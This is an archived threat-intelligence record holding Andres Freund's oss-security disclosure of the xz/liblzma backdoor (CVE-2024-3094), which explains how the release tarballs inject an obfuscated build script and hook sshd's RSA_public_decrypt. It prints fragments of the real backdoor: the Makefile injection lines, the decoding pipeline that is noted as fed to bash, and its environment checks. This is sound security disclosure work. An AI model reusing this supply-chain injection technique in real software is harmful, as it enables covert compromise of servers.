{
	"id": "dac024ca-b431-49cf-90bc-fec97454d66a",
	"created_at": "2026-04-06T00:06:14.307977Z",
	"updated_at": "2026-04-10T03:21:32.661725Z",
	"deleted_at": null,
	"sha1_hash": "6cba82f88e8c9f884c7a43bf6986f051a24d83a4",
	"title": "security - backdoor in upstream xz/liblzma leading to ssh server compromise",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 114523,
	"plain_text": "security - backdoor in upstream xz/liblzma leading to ssh server\r\ncompromise\r\nArchived: 2026-04-05 22:38:11 UTC\r\nProducts\r\nOpenwall GNU/*/Linux   server OS\r\nLinux Kernel Runtime Guard\r\nJohn the Ripper   password cracker\r\nFree \u0026 Open Source for any platform\r\nin the cloud\r\nPro for Linux\r\nPro for macOS\r\nWordlists   for password cracking\r\npasswdqc   policy enforcement\r\nFree \u0026 Open Source for Unix\r\nPro for Windows (Active Directory)\r\nyescrypt   KDF \u0026 password hashing\r\nyespower   Proof-of-Work (PoW)\r\ncrypt_blowfish   password hashing\r\nphpass   ditto in PHP\r\ntcb   better password shadowing\r\nPluggable Authentication Modules\r\nscanlogd   port scan detector\r\npopa3d   tiny POP3 daemon\r\nblists   web interface to mailing lists\r\nmsulogin   single user mode login\r\nphp_mt_seed   mt_rand() cracker\r\nServices\r\nPublications\r\nArticles\r\nPresentations\r\nResources\r\nMailing lists\r\nCommunity wiki\r\nSource code repositories (GitHub)\r\nFile archive \u0026 mirrors\r\nHow to verify digital signatures\r\nOVE IDs\r\nhttps://www.openwall.com/lists/oss-security/2024/03/29/4\r\nPage 1 of 8\n\nWhat's new\r\n[\u003cprev] [next\u003e] [thread-next\u003e] [day] [month] [year] [list]\r\nMessage-ID: \u003c20240329155126.kjjfduxw2yrlxgzm@awork3.anarazel.de\u003e\r\nDate: Fri, 29 Mar 2024 08:51:26 -0700\r\nFrom: Andres Freund \u003candres@...razel.de\u003e\r\nTo: oss-security@...ts.openwall.com\r\nSubject: backdoor in upstream xz/liblzma leading to ssh server compromise\r\nHi,\r\nAfter observing a few odd symptoms around liblzma (part of the xz package) on\r\nDebian sid installations over the last weeks (logins with ssh taking a lot of\r\nCPU, valgrind errors) I figured out the answer:\r\nThe upstream xz repository and the xz tarballs have been backdoored.\r\nAt first I thought this was a compromise of debian's package, but it turns out\r\nto be upstream.\r\n== Compromised Release Tarball ==\r\nOne portion of the backdoor is *solely in the distributed tarballs*. For\r\neasier reference, here's a link to debian's import of the tarball, but it is\r\nalso present in the tarballs for 5.6.0 and 5.6.1:\r\nhttps://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L6\r\nThat line is *not* in the upstream source of build-to-host, nor is\r\nbuild-to-host used by xz in git. However, it is present in the tarballs\r\nreleased upstream, except for the \"source code\" links, which I think github\r\ngenerates directly from the repository contents:\r\nhttps://github.com/tukaani-project/xz/releases/tag/v5.6.0\r\nhttps://github.com/tukaani-project/xz/releases/tag/v5.6.1\r\nThis injects an obfuscated script to be executed at the end of configure. This\r\nscript is fairly obfuscated and data from \"test\" .xz files in the repository.\r\nThis script is executed and, if some preconditions match, modifies\r\n$builddir/src/liblzma/Makefile to contain\r\nam__test = bad-3-corrupt_lzma2.xz\r\nhttps://www.openwall.com/lists/oss-security/2024/03/29/4\r\nPage 2 of 8\n\n...\r\nam__test_dir=$(top_srcdir)/tests/files/$(am__test)\r\n...\r\nsed rpath $(am__test_dir) | $(am__dist_setup) \u003e/dev/null 2\u003e\u00261\r\nwhich ends up as\r\n...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr \" \\-_\" \" _\\-\" | xz -d\r\nLeaving out the \"| bash\" that produces\r\n####Hello####\r\n#��Z�.hj�\r\neval `grep ^srcdir= config.status`\r\nif test -f ../../config.status;then\r\neval `grep ^srcdir= ../../config.status`\r\nsrcdir=\"../../$srcdir\"\r\nfi\r\nexport i=\"((head -c +1024 \u003e/dev/null) \u0026\u0026 head -c +2048 \u0026\u0026 (head -c +1024 \u003e/dev/null) \u0026\u0026 head -c +2048\r\n####World####\r\nAfter de-obfuscation this leads to the attached injected.txt.\r\n== Compromised Repository ==\r\nThe files containing the bulk of the exploit are in an obfuscated form in\r\n tests/files/bad-3-corrupt_lzma2.xz\r\n tests/files/good-large_compressed.lzma\r\ncommitted upstream. They were initially added in\r\nhttps://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0\r\nNote that the files were not even used for any \"tests\" in 5.6.0.\r\nSubsequently the injected code (more about that below) caused valgrind errors\r\nand crashes in some configurations, due the stack layout differing from what\r\nthe backdoor was expecting. These issues were attempted to be worked around\r\nin 5.6.1:\r\nhttps://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad\r\nhttps://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f\r\nhttps://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92\r\nFor which the exploit code was then adjusted:\r\nhttps://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89\r\nhttps://www.openwall.com/lists/oss-security/2024/03/29/4\r\nPage 3 of 8\n\nGiven the activity over several weeks, the committer is either directly\r\ninvolved or there was some quite severe compromise of their\r\nsystem. Unfortunately the latter looks like the less likely explanation, given\r\nthey communicated on various lists about the \"fixes\" mentioned above.\r\nFlorian Weimer first extracted the injected code in isolation, also attached,\r\nliblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks!\r\n== Affected Systems ==\r\nThe attached de-obfuscated script is invoked first after configure, where it\r\ndecides whether to modify the build process to inject the code.\r\nThese conditions include targeting only x86-64 linux:\r\n if ! (echo \"$build\" | grep -Eq \"^x86_64\" \u003e /dev/null 2\u003e\u00261) \u0026\u0026 (echo \"$build\" | grep -Eq \"linux-gn\r\nBuilding with gcc and the gnu linker\r\n if test \"x$GCC\" != 'xyes' \u003e /dev/null 2\u003e\u00261;then\r\n exit 0\r\n fi\r\n if test \"x$CC\" != 'xgcc' \u003e /dev/null 2\u003e\u00261;then\r\n exit 0\r\n fi\r\n LDv=$LD\" -v\"\r\n if ! $LDv 2\u003e\u00261 | grep -qs 'GNU ld' \u003e /dev/null 2\u003e\u00261;then\r\n exit 0\r\nRunning as part of a debian or RPM package build:\r\n if test -f \"$srcdir/debian/rules\" || test \"x$RPM_ARCH\" = \"xx86_64\";then\r\nParticularly the latter is likely aimed at making it harder to reproduce the\r\nissue for investigators.\r\nDue to the working of the injected code (see below), it is likely the backdoor\r\ncan only work on glibc based systems.\r\nLuckily xz 5.6.0 and 5.6.1 have not yet widely been integrated by linux\r\ndistributions, and where they have, mostly in pre-release versions.\r\n== Observing Impact on openssh server ==\r\nWith the backdoored liblzma installed, logins via ssh become a lot slower.\r\nhttps://www.openwall.com/lists/oss-security/2024/03/29/4\r\nPage 4 of 8\n\ntime ssh nonexistant@...alhost\r\nbefore:\r\nnonexistant@...alhost: Permission denied (publickey).\r\nbefore:\r\nreal 0m0.299s\r\nuser 0m0.202s\r\nsys 0m0.006s\r\nafter:\r\nnonexistant@...alhost: Permission denied (publickey).\r\nreal 0m0.807s\r\nuser 0m0.202s\r\nsys 0m0.006s\r\nopenssh does not directly use liblzma. However debian and several other\r\ndistributions patch openssh to support systemd notification, and libsystemd\r\ndoes depend on lzma.\r\nInitially starting sshd outside of systemd did not show the slowdown, despite\r\nthe backdoor briefly getting invoked. This appears to be part of some\r\ncountermeasures to make analysis harder.\r\nObserved requirements for the exploit:\r\na) TERM environment variable is not set\r\nb) argv[0] needs to be /usr/sbin/sshd\r\nc) LD_DEBUG, LD_PROFILE are not set\r\nd) LANG needs to be set\r\ne) Some debugging environments, like rr, appear to be detected. Plain gdb\r\n appears to be detected in some situations, but not others\r\nTo reproduce outside of systemd, the server can be started with a clear\r\nenvironment, setting only the required variable:\r\nenv -i LANG=en_US.UTF-8 /usr/sbin/sshd -D\r\nIn fact, openssh does not need to be started as a server to observe the\r\nslowdown:\r\nslow:\r\nenv -i LANG=C /usr/sbin/sshd -h\r\nhttps://www.openwall.com/lists/oss-security/2024/03/29/4\r\nPage 5 of 8\n\n(about 0.5s on my older system)\r\nfast:\r\nenv -i LANG=C TERM=foo /usr/sbin/sshd -h\r\nenv -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h\r\n...\r\n(about 0.01s on the same system)\r\nIt's possible that argv[0] other /usr/sbin/sshd also would have effect - there\r\nare obviously lots of servers linking to libsystemd.\r\n== Analyzing the injected code ==\r\nI am *not* a security researcher, nor a reverse engineer. There's lots of\r\nstuff I have not analyzed and most of what I observed is purely from\r\nobservation rather than exhaustively analyzing the backdoor code.\r\nTo analyze I primarily used \"perf record -e intel_pt//ub\" to observe where\r\nexecution diverges between the backdoor being active and not. Then also gdb,\r\nsetting breakpoints before the divergence.\r\nThe backdoor initially intercepts execution by replacing the ifunc resolvers\r\ncrc32_resolve(), crc64_resolve() with different code, which calls\r\n_get_cpuid(), injected into the code (which previously would just be static\r\ninline functions). In xz 5.6.1 the backdoor was further obfuscated, removing\r\nsymbol names.\r\nThese functions get resolved during startup, because sshd is built with\r\n-Wl,-z,now, leading to all symbols being resolved early. If started with\r\nLD_BIND_NOT=1 the backdoor does not appear to work.\r\nBelow crc32_resolve() _get_cpuid() does not do much, it just sees that a\r\n'completed' variable is 0 and increments it, returning the normal cpuid result\r\n(via a new _cpuid()). It gets to be more interesting during crc64_resolve().\r\nIn the second invocation crc64_resolve() appears to find various information,\r\nlike data from the dynamic linker, program arguments and environment. Then it\r\nperform various environment checks, including those above. There are other\r\nchecks I have not fully traced.\r\nhttps://www.openwall.com/lists/oss-security/2024/03/29/4\r\nPage 6 of 8\n\nIf the above decides to continue, the code appears to be parsing the symbol\r\ntables in memory. This is the quite slow step that made me look into the issue.\r\nNotably liblzma's symbols are resolved before many of the other libraries,\r\nincluding the symbols in the main sshd binary. This is important because\r\nsymbols are resolved, the GOT gets remapped read-only thanks to -Wl,-z,relro.\r\nTo be able to resolve symbols in libraries that have not yet loaded, the\r\nbackdoor installs an audit hook into the dynamic linker, which can be observed\r\nwith gdb using\r\n watch _rtld_global_ro._dl_naudit\r\nIt looks like the audit hook is only installed for the main binary.\r\nThat hook gets called, from _dl_audit_symbind, for numerous symbols in the\r\nmain binary. It appears to wait for \"RSA_public_decrypt@....plt\" to be\r\nresolved. When called for that symbol, the backdoor changes the value of\r\nRSA_public_decrypt@....plt to point to its own code. It does not do this via\r\nthe audit hook mechanism, but outside of it.\r\nFor reasons I do not yet understand, it does change sym.st_value *and* the\r\nreturn value of from the audit hook to a different value, which leads\r\n_dl_audit_symbind() to do nothing - why change anything at all then?\r\nAfter that the audit hook is uninstalled again.\r\nIt is possible to change the got.plt contents at this stage because it has not\r\n(and can't yet) been remapped to be read-only.\r\nI suspect there might be further changes performed at this stage.\r\n== Impact on sshd ==\r\nThe prior section explains that RSA_public_decrypt@....plt was redirected to\r\npoint into the backdoor code. The trace I was analyzing indeed shows that\r\nduring a pubkey login the exploit code is invoked:\r\n sshd 1736357 [010] 714318.734008: 1 branches:uH: 5555555ded8c ssh_rsa_veri\r\nThe backdoor then calls back into libcrypto, presumably to perform normal authentication\r\n sshd 1736357 [010] 714318.734009: 1 branches:uH: 7ffff7c137cd [unknown] (/\r\nhttps://www.openwall.com/lists/oss-security/2024/03/29/4\r\nPage 7 of 8\n\nI have not yet analyzed precisely what is being checked for in the injected\r\ncode, to allow unauthorized access. Since this is running in a\r\npre-authentication context, it seems likely to allow some form of access or\r\nother form of remote code execution.\r\nI'd upgrade any potentially vulnerable system ASAP.\r\n== Bug reports ==\r\nGiven the apparent upstream involvement I have not reported an upstream\r\nbug. As I initially thought it was a debian specific issue, I sent a more\r\npreliminary report to security@...ian.org. Subsequently I reported the issue\r\nto distros@. CISA was notified by a distribution.\r\nRed Hat assigned this issue CVE-2024-3094.\r\n== Detecting if installation is vulnerable ==\r\nVegard Nossum wrote a script to detect if it's likely that the ssh binary on a\r\nsystem is vulnerable, attached here. Thanks!\r\nGreetings,\r\nAndres Freund\r\nView attachment \"injected.txt\" of type \"text/plain\" (8236 bytes)\r\nDownload attachment \"liblzma_la-crc64-fast.o.gz\" of type \"application/gzip\" (36487 bytes)\r\nDownload attachment \"detect.sh\" of type \"application/x-sh\" (426 bytes)\r\nPowered by blists - more mailing lists\r\nPlease check out the Open Source Software Security Wiki, which is counterpart to this mailing list.\r\nConfused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines\r\non proper formatting of your messages.\r\nSource: https://www.openwall.com/lists/oss-security/2024/03/29/4\r\nhttps://www.openwall.com/lists/oss-security/2024/03/29/4\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.openwall.com/lists/oss-security/2024/03/29/4"
	],
	"report_names": [
		"4"
	],
	"threat_actors": [],
	"ts_created_at": 1775433974,
	"ts_updated_at": 1775791292,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6cba82f88e8c9f884c7a43bf6986f051a24d83a4.pdf",
		"text": "https://archive.orkl.eu/6cba82f88e8c9f884c7a43bf6986f051a24d83a4.txt",
		"img": "https://archive.orkl.eu/6cba82f88e8c9f884c7a43bf6986f051a24d83a4.jpg"
	}
}